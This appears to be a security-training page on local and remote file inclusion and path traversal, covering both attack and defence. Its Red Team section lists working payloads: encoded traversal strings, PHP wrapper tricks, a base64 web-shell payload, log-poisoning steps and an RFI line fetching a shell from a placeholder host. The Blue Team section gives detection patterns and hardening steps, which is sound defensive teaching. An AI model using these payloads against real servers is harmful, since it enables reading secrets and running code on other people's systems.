Skip to content
Pwnversity

LFI / RFI & path traversal

When the app uses user input to build a file path (or to include/require), the attacker can escape the intended directory (path traversal) to read arbitrary files, include local files (LFI) or remote ones (RFI). Depending on language and config, LFI escalates to RCE.

Threat model

Section titled “Threat model”

Reading sensitive files (/etc/passwd, source code, config, keys, logs), and code execution: RFI includes your remote payload; LFI can execute via PHP wrappers, log poisoning, session files or /proc.

Anatomy

Section titled “Anatomy”

Two entry points: (1) paths that are returned/read (?file=report.pdf); (2) dynamic inclusions (include($_GET['page'])). The jump uses ../ sequences, absolute paths or protocol wrappers.

Red Team

Section titled “Red Team”

Path traversal (reading)

Section titled “Path traversal (reading)”
../../../../etc/passwd
..%2f..%2f..%2fetc%2fpasswd        # URL-encode
..%252f..%252f                     # double URL-encode
....//....//                       # bypass filters stripping ../
/var/www/html/index.php            # absolute path
# (legacy) %00 null byte to cut suffixes, on old versions

LFI → RCE

Section titled “LFI → RCE”
# Read source in Base64 (PHP)
php://filter/convert.base64-encode/resource=index.php


# Execute direct input
php://input           (POST with <?php system($_GET[c]); ?>)
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NdKTsgPz4=


# Log poisoning: inject PHP into a log then include it
# User-Agent: <?php system($_GET[c]); ?>  -> include(/var/log/apache2/access.log)
/proc/self/environ          # if includable and you control a variable
sess_<id> in /var/lib/php/sessions   # session poisoning

RFI

Section titled “RFI”
# requires allow_url_include=On (PHP)
?page=http://YOUR_IP/shell.txt

Tooling

Section titled “Tooling”

ffuf/wfuzz (path and wrapper fuzzing), LFISuite, and PayloadsAllTheThings lists.

Impact and chaining

Section titled “Impact and chaining”

Secret reads → access to other systems; RCE → pivot and persistence.

Blue Team

Section titled “Blue Team”

Detection

Section titled “Detection”
  • Parameters with ../, %2e%2e, php://, data://, absolute paths.
  • Inclusion of logs//proc/session files; outbound requests (RFI).

Telemetry and sources

Section titled “Telemetry and sources”

WAF, app logs with the built path, and FIM/monitoring of sensitive-file reads.

Hardening

Section titled “Hardening”
  1. Don’t use user input in paths/includes. If a choice is needed, allow-list files by identifier (id -> path map).
  2. Normalize and validate: basename, resolve the path and check it stays inside the allowed directory (canonicalization).
  3. PHP: allow_url_include=Off, allow_url_fopen=Off, open_basedir, disable dangerous wrappers.
  4. Least privilege and chroot/container.

Response

Section titled “Response”

Rotate read secrets, hunt for webshells (RFI/LFI2RCE), and fix path construction.

CVEs and real-world cases

Section titled “CVEs and real-world cases”
  • Path traversal and LFI are endemic in CMS, plugins, panels and devices; they’ve underpinned countless CVEs (config/credential reads → compromise).
  • Several products have suffered pre-auth traversal exposing configuration files with credentials.

Product-specific CVEs in NVD (https://nvd.nist.gov/vuln/search) and GitHub Advisories (https://github.com/advisories).

Testing checklist

Section titled “Testing checklist”
  • Traversal tested with encodings and bypasses (....//, double URL).
  • Sensitive-file read confirmed.
  • LFI→RCE tested (wrappers, log/session poisoning) where applicable.
  • RFI tested if allow_url_include is on.
  • Impact documented without exfiltrating real third-party data.

References

Section titled “References”